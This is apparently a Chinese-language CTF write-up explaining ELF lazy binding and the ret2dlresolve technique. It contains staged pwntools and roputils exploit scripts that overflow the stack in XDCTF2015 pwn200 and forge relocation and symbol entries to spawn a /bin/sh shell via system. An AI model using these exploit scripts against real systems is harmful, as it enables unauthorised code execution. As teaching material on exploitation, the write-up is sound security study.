0%

ret2dl

_dl_runtime_resolve

这个应该说是一个很久远的坑了,算是给自己补补基础吧,也是查漏补缺23333,也顺带复习一下延迟绑定

写了一个程序自己调试程序调用_dl_runtime_resolve的过程

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
puts("hello world");
puts("hello world twice");
exit(0);
return 0;
}

第一次调用puts

1579182750270

直接call程序的plt段,plt段是一个是一个类似 jmp [GOT表] 的结构,此时的第一次调用的GOT项<0x804a00c>存放着一个0x08048306的plt段地址,如下所示

1579182851280

这个地方入栈了一个0,然后跳到0x80482f0 再入栈一个[0x804a004] (link_map)然后调用_dl_runtime_resolve函数来调用我们要用的函数

这个resolve函数一共是两个参数,这两个参数分别是一个link_map的指针和puts在ELF JMPREL Relocation Table中的偏移,示意如下

1
_dl_runtime_resolve(link_map, rel_offset)

其中ELF JMPREL Relocation Table中如下所示+0即为puts函数的偏移(64位的话就是index)

1579183036345

第一个参数&link_map如下所示,第三个数是.dynamic段的地址

1579183162193 1579183223982

主要注意观察这三个

这里介绍两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct//Elf32_Sym 不过这里我没有给Symbol Table的截图
{
Elf32_Word st_name; //dd 符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;//dd
Elf32_Word st_size; //dd
unsigned char st_info; //db 对于导入函数符号而言,它是0x12
unsigned char st_other;//db
Elf32_Section st_shndx;//dw
} Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct//Elf32_Rel
{
Elf32_Addr r_offset; //dd 指向GOT表的指针
Elf32_Word r_info; //dd
// 一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
} Elf32_Rel;

_dl_runtime_resolve具体步骤

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt(存放Elf32_Rel处) 的指针
  2. .rel.plt + 传入的第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

大致有这么一张图

image-20200406224128730

第二次调用puts

1579183405159

可以看到此时got表已经被改成了puts函数的地址,所以第二次是直接调用

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

ret2dl

这个攻击更适于一些比较简单的栈溢出的情况,但同时又难以泄露获取更多信息的情况下

可用方式:

  1. 控制程序执行dl_resolve函数
    • 给定Link_map以及index两个参数。
    • 当然我们可以直接给定 plt[0]对应的汇编代码,这时,我们就只需要一个index就足够了。
  2. 控制index的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
  3. 伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
  4. 伪造符号内容,使得符号对应的名称也在自己可以控制的范围内

XDCTF2015-pwn200

image-20200406232708454 image-20200406232720644

程序的逻辑很简单,其中最主要的是下面的read栈溢出

为了来一步步学习ret2dl,就照着师傅的博客一步步来

stage1

stage是通过一个栈迁移的运用来打印我们读入的字符串/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'pwn200' #binary's name here
context.binary = binary #context here
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
ppp_ret = 0x0804856c
pop_ebp_ret = 0x08048453
leave_ret = 0x08048481

stack_size = 0x800
bss_addr = 0x0804A020 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

read_plt=0x08048390
write_plt=0x080483C0
'''
0x08048453 : pop ebp ; ret
0x08048452 : pop ebx ; pop ebp ; ret
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836c : pop ebx ; ret
0x0804856d : pop edi ; pop ebp ; ret
0x080485cd : pop esi ; pop edi ; pop ebp ; ret
0x0804834b : ret
0x08048532 : ret 0xb8
0x08048481 : leave ; ret
'''
p.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * 0x70
payload += p32(read_plt) # 读100个字节到base_stage 这里栈是先读再迁移
payload += p32(ppp_ret) #清除参数
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
raw_input()
p.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2)) # pad
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

p.interactive()

stage2

这里修改了payload2,使其成为利用plt[0]+fake_index的方法来打印/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = "/bin/sh"

plt_0 = 0x08048370
index_offset = 0x20 # write's index

payload2 = 'AAAA' # for pop ebp
payload2 += p32(plt_0)
payload2 += p32(index_offset) #fake index
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)

stage3

这次是利用一个fake Elf32_Rel,和fake offset来实现write的调用 offset就是通过fake_reloc-rel_plt的偏移计算出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x507 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage4

此时伪造了一个Elf32_Sym结构体还有fake r_info,至此我们已经可以劫持构造Elf32_Rel还有Elf32_sym了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x54
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align #算出要对齐的字节数
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage5

前面我们写了st_name = 0x54,指向的是string table中的write字符串

然后我们把他修改成我们输入的write字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

上一步我们用输入的write实现了调用,这一步直接改成system不就是getshell了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

模板

这里使用到了roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./pwn200')
context.log_level = 'debug'

rop = ROP('./pwn200')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100) #返回地址处自动加上了有ppp_ret的地址
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base) # dl_resolve_call第一个参数是Elf32_Rel的base,用来填上fake Rel结构体偏移的 第二个是*args,执行dl_resolve_call时函数的参数
r.send(buf)

buf = rop.string('/bin/sh') # /bin/sh是system参数
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system') # 这里同时填上了Elf32_Rel结构体和Elf32_sym结构体(base+20对应前面的base+20,注意)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

不过在布置base的时候需要注意一下bss的内容还有一些对齐操作,必要时调试观察+修改一下base


参考链接:

https://bbs.pediy.com/thread-227034.htm

https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/

64位参考链接:https://xz.aliyun.com/t/5722#toc-2